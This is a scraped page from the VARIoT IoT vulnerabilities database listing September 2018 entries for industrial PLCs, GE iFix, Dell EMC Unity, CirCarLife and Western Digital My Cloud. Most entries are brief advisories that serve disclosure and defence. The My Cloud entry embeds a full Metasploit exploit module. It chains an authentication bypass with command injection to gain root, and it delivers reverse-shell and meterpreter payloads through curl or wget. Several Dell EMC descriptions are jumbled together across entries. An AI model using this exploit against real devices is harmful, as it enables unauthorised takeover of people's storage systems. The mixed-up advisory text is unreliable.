VARIoT IoT vulnerabilities database
| VAR-201809-1197 | No CVE | DCCE MAC1100 PLC has password leak vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
MAC1100 PLC is a programmable logic controller produced by Dalian University of Technology Computer Control Engineering Co., Ltd.
DCCE MAC1100 PLC has a password leakage vulnerability. An attacker can use the vulnerability to obtain the PLC user name and password when the computer is connected to the PLC
| VAR-201809-1224 | No CVE | GE iFix scu.exe component has DLL hijacking vulnerability |
CVSS V2: 6.2 CVSS V3: - Severity: MEDIUM |
GE Intelligent Platform (GE-IP) 's iFIX is the world's leading industrial automation software solution that provides process visualization, data acquisition, and data monitoring of production operations.
There is a DLL hijacking vulnerability in the GE iFix scu.exe component. An attacker can use the vulnerability to execute malicious code by loading a malicious dll named "DWMAPI.dll"
| VAR-201809-1205 | No CVE | DCCE MAC1100 PLC Denial of service vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
MAC1100 PLC is a programmable logic controller produced by Dalian University of Technology Computer Control Engineering Co., Ltd.
DCCE MAC1100 PLC has a denial-of-service vulnerability. An attacker can construct a specific network packet without authorization. Using the vulnerability, the PLC is shut down and the CPU denies service
| VAR-201809-1210 | No CVE | Haiwell C10S0R (-e) PLC has an arbitrary change of configuration information vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has a loophole for changing configuration information arbitrarily. An attacker can construct a specific network data packet without authorization and use the loophole to change the PLC configuration information
| VAR-201809-1219 | No CVE | Haiwell C10S0R (-e) PLC has password removal vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has a password clearing vulnerability. An attacker can construct a specific network packet without authorization and use the vulnerability to clear the password
| VAR-201809-1223 | No CVE | GE iFix workspace.exe component has DLL hijacking vulnerability |
CVSS V2: 6.2 CVSS V3: - Severity: MEDIUM |
GE Intelligent Platform (GE-IP) 's iFIX is the world's leading industrial automation software solution that provides process visualization, data acquisition, and data monitoring of production operations.
There is a DLL hijacking vulnerability in the GE iFix workspace.exe component. An attacker can use the vulnerability to execute malicious code by loading a malicious dll named "DWMAPI.dll"
| VAR-201809-1220 | No CVE | Haiwell C10S0R (-e) PLC Has Information Disclosure Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has an information disclosure vulnerability. An attacker can use unauthorized information to construct specific network data packets and use the vulnerability to obtain PLC configuration information
| VAR-201809-1212 | No CVE | Haiwell C10S0R (-e) PLC has arbitrary code coverage vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has an arbitrary code coverage vulnerability. An attacker can construct a specific network packet without authorization and use the vulnerability to change the PLC program
| VAR-201809-1199 | No CVE | Haiwell C10S0R (-e) PLC has an arbitrary program removal vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has an arbitrary program to clear the loophole. An attacker can construct a specific network packet without authorization and use the loophole to clear the PLC program
| VAR-201809-1200 | No CVE | Haiwell C10S0R (-e) PLC has an arbitrary memory tampering vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has an arbitrary memory tampering vulnerability. An attacker can construct specific network packets without authorization and use the vulnerability to control the output of the PLC. PLC Output
| VAR-201809-1222 | No CVE | Haiwell C10S0R (-e) PLC has remote control vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has remote control loopholes. Attackers can use unauthorized loopholes to construct specific network data packets and use the loopholes to control PLC start and stop. PLC turn stop
| VAR-201809-1345 | No CVE | SAP B2B / B2C CRM local file contains vulnerabilities |
CVSS V2: 2.1 CVSS V3: - Severity: LOW |
SAP enterprise application software solution provider.
SAP B2B / B2C CRM has local file inclusion vulnerability. An attacker can use the vulnerability to cause externally submitted malicious data as a variable to enter the process of file inclusion, resulting in the submitted malicious data being executed.
| VAR-201809-1221 | No CVE | Haiwell C10S0R (-e) PLC has unauthorized access vulnerability |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
C10S0R (-e) PLC is a product in the programmable logic controller (PLC) series of Xiamen Haiwei Technology Co., Ltd.
Haiwell C10S0R (-e) PLC has an unauthorized access vulnerability. An attacker can construct a specific network packet without authorization and use the vulnerability to change the PLC IP
| VAR-201809-0658 | CVE-2018-1251 | Dell EMC Unity and UnityVSA Open redirect vulnerability |
CVSS V2: 5.8 CVSS V3: 8.1 Severity: HIGH |
Dell EMC Unity and UnityVSA versions prior to 4.3.1.1525703027 contains a URL Redirection vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability to redirect Unity users to arbitrary web URLs by tricking the victim user to click on a maliciously crafted Unisphere URL. Attacker could potentially phish information, including Unisphere users' credentials, from the victim once they are redirected. An authorization-bypass vulnerability
2. A cross-site scripting vulnerability
3. An URL-redirection vulnerability
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, carry out phishing attacks, and gain unauthorized access and perform unauthorized actions. UnityVSA is another version of it. A remote authenticated user could potentially exploit this vulnerability to read files in NAS server by directly interacting with certain APIs of Unity OE, bypassing Role-Based Authorization control implemented only in Unisphere GUI.
Link to remedies:
Registered Dell EMC Support customers can download Unity software from the Dell EMC Online Support web site.
https://support.emc.com/downloads/39949_Dell-EMC-Unity-Family
Severity Rating
For an explanation of Severity Ratings, refer to Dell EMC Knowledgebase article 468307 (https://support.emc.com/kb/468307). Dell EMC recommends all customers take into account both the base score and any relevant temporal and environmental scores which may impact the potential severity associated with particular security vulnerability.
Legal Information
Read and use the information in this Dell EMC Security Advisory to assist in avoiding any situation that might arise
from the problems described herein. If you have any questions regarding this advisory, contact Dell EMC Technical
Support (https://support.emc.com/servicecenter/contactEMC/). Dell EMC recommends that all users determine the applicability of this information to their individual situations and take appropriate action. The information set forth herein is provided "as is" without warranty of any kind. Dell EMC disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event, shall Dell EMC or its suppliers, be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation may not apply.
Dell Product Security Incident Response Team
secure@dell.com
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| VAR-201809-0657 | CVE-2018-1250 | Dell EMC Unity and UnityVSA Authorization vulnerability |
CVSS V2: 4.0 CVSS V3: 6.5 Severity: MEDIUM |
Dell EMC Unity and UnityVSA versions prior to 4.3.1.1525703027 contains an Authorization Bypass vulnerability. A remote authenticated user could potentially exploit this vulnerability to read files in NAS server by directly interacting with certain APIs of Unity OE, bypassing Role-Based Authorization control implemented only in Unisphere GUI. An authorization-bypass vulnerability
2. A cross-site scripting vulnerability
3. An URL-redirection vulnerability
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, carry out phishing attacks, and gain unauthorized access and perform unauthorized actions. UnityVSA is another version of it. A remote unauthenticated attacker could potentially exploit this vulnerability to redirect Unity users to arbitrary web URLs by tricking the victim user to click on a maliciously crafted Unisphere URL. Attacker could potentially phish information, including Unisphere users' credentials, from the victim once they are redirected.
Customers can refer to Dell EMC target code information at: https://support.emc.com/docu39695_Target_Revisions_and_Adoption_Rates.pdf?language=en_US&language=en_US.
Link to remedies:
Registered Dell EMC Support customers can download Unity software from the Dell EMC Online Support web site.
https://support.emc.com/downloads/39949_Dell-EMC-Unity-Family
Severity Rating
For an explanation of Severity Ratings, refer to Dell EMC Knowledgebase article 468307 (https://support.emc.com/kb/468307). Dell EMC recommends all customers take into account both the base score and any relevant temporal and environmental scores which may impact the potential severity associated with particular security vulnerability.
Legal Information
Read and use the information in this Dell EMC Security Advisory to assist in avoiding any situation that might arise
from the problems described herein. If you have any questions regarding this advisory, contact Dell EMC Technical
Support (https://support.emc.com/servicecenter/contactEMC/). Dell EMC recommends that all users determine the applicability of this information to their individual situations and take appropriate action. The information set forth herein is provided "as is" without warranty of any kind. Dell EMC disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event, shall Dell EMC or its suppliers, be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation may not apply.
Dell Product Security Incident Response Team
secure@dell.com
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| VAR-201809-0546 | CVE-2018-16670 | CIRCONTROL CirCarLife Authentication vulnerability |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
An issue was discovered in CIRCONTROL CirCarLife before 4.3. There is PLC status disclosure due to lack of authentication for /html/devstat.html. CIRCONTROL CirCarLife Contains an authentication vulnerability.Information may be obtained. CIRCONTROL CirCarLife is a parking lot automation management system from Circontrol, Spain. A security vulnerability exists in CIRCONTROL CirCarLife prior to 4.3, which was caused by a lack of authentication for the /html/devstat.html file. This vulnerability can be exploited by a remote attacker to obtain status information about the PLC used at the charging station
| VAR-201809-0547 | CVE-2018-16671 | CIRCONTROL CirCarLife Vulnerable to information disclosure |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
An issue was discovered in CIRCONTROL CirCarLife before 4.3. There is system software information disclosure due to lack of authentication for /html/device-id
| VAR-201809-0306 | CVE-2018-17153 |
Western Digital My Cloud Authentication vulnerabilities in devices
Related entries in the VARIoT exploits database: VAR-E-201701-0323 |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user's IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user's IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called "cgi_get_ipv6" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter "flag" with the value "1" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie.
An attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks. ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Western Digital MyCloud unauthenticated command injection',
'Description' => %q{
This module exploits authentication bypass (CVE-2018-17153) and
command injection (CVE-2016-10108) vulnerabilities in Western
Digital MyCloud before 2.30.196 in order to achieve
unauthenticated remote code execution as the root user.
The module first performs a check to see if the target is
WD MyCloud. If so, it attempts to trigger an authentication
bypass (CVE-2018-17153) via a crafted GET request to
/cgi-bin/network_mgr.cgi. If the server responds as expected,
the module assesses the vulnerability status by attempting to
exploit a commend injection vulnerability (CVE-2016-10108) in
order to print a random string via the echo command. This is
done via a crafted POST request to /web/google_analytics.php.
If the server is vulnerable, the same command injection vector
is leveraged to execute the payload.
This module has been successfully tested against Western Digital
MyCloud version 2.30.183.
Note: based on the available disclosures, it seems that the
command injection vector (CVE-2016-10108) might be exploitable
without the authentication bypass (CVE-2018-17153) on versions
before 2.21.126. The obtained results on 2.30.183 imply that
the patch for CVE-2016-10108 did not actually remove the command
injection vector, but only prevented unauthenticated access to it.
},
'License' => MSF_LICENSE,
'Author' => [
'Erik Wynter', # @wyntererik - Metasploit
'Steven Campbell', # CVE-2016-10108 disclosure and PoC
'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC
],
'References' => [
['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.
['CVE', '2018-17153'], # authentication bypass
['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC
['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => %w[linux unix],
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Type' => :unix_memory
}
],
[
'Linux Dropper', {
'Arch' => [ARCH_ARMLE],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => :curl
},
'Type' => :linux_dropper
}
]
],
'CmdStagerFlavor' => ['curl', 'wget'],
'Privileged' => true,
'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),
])
end
def check
# sanity check to see if the target is likely WD MyCloud
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('Connection failed.') unless res
return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')
print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")
# try the authentication bypass (CVE-2018-17153)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),
'vars_get' => {
'cmd' => 'cgi_get_ipv6',
'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details
}
})
return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res
return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404
# send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body
echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"
print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")
res = execute_command(echo_cmd, { 'wait_for_response' => true })
return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res
return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true')
CheckCode::Safe('The target failed to execute the echo command.')
end
def execute_command(cmd, opts = {})
request_hash = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),
'cookie' => 'username=admin',
'vars_post' => {
'cmd' => 'set',
'opt' => 'cloud-device-num',
'arg' => "0|echo `#{cmd}` #"
}
}
return send_request_cgi(request_hash) if opts['wait_for_response']
# if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response
send_request_cgi(request_hash, 0)
end
def exploit
if target.arch.first == ARCH_CMD
print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...")
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end
| VAR-201809-0544 | CVE-2018-16668 | CIRCONTROL CirCarLife Vulnerable to information disclosure |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
An issue was discovered in CIRCONTROL CirCarLife before 4.3. There is internal installation path disclosure due to the lack of authentication for /html/repository. CIRCONTROL CirCarLife Contains an information disclosure vulnerability.Information may be obtained. CIRCONTROL CirCarLife is a parking lot automation management system developed by Spain CIRCONTROL company. There is a security vulnerability in CIRCONTROL CirCarLife versions prior to 4.3
| VAR-201809-0656 | CVE-2018-1246 | Dell EMC Unity and UnityVSA Vulnerable to cross-site scripting |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
Dell EMC Unity and UnityVSA contains reflected cross-site scripting vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability by tricking a victim application user to supply malicious HTML or Java Script code to Unisphere, which is then reflected back to the victim and executed by the web browser. An authorization-bypass vulnerability
2. A cross-site scripting vulnerability
3.
The following products are vulnerable:
Versions prior to EMC Unity Operating Environment (OE) 4.3.1.1525703027
Versions prior to EMC UnityVSA Operating Environment (OE) versions prior to 4.3.1.1525703027. UnityVSA is another version of it. A remote authenticated user could potentially exploit this vulnerability to read files in NAS server by directly interacting with certain APIs of Unity OE, bypassing Role-Based Authorization control implemented only in Unisphere GUI. Attacker could potentially phish information, including Unisphere users' credentials, from the victim once they are redirected.
Customers can refer to Dell EMC target code information at: https://support.emc.com/docu39695_Target_Revisions_and_Adoption_Rates.pdf?language=en_US&language=en_US.
https://support.emc.com/downloads/39949_Dell-EMC-Unity-Family
Severity Rating
For an explanation of Severity Ratings, refer to Dell EMC Knowledgebase article 468307 (https://support.emc.com/kb/468307). Dell EMC recommends all customers take into account both the base score and any relevant temporal and environmental scores which may impact the potential severity associated with particular security vulnerability.
Legal Information
Read and use the information in this Dell EMC Security Advisory to assist in avoiding any situation that might arise
from the problems described herein. If you have any questions regarding this advisory, contact Dell EMC Technical
Support (https://support.emc.com/servicecenter/contactEMC/). Dell EMC recommends that all users determine the applicability of this information to their individual situations and take appropriate action. The information set forth herein is provided "as is" without warranty of any kind. Dell EMC disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event, shall Dell EMC or its suppliers, be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation may not apply.
Dell Product Security Incident Response Team
secure@dell.com
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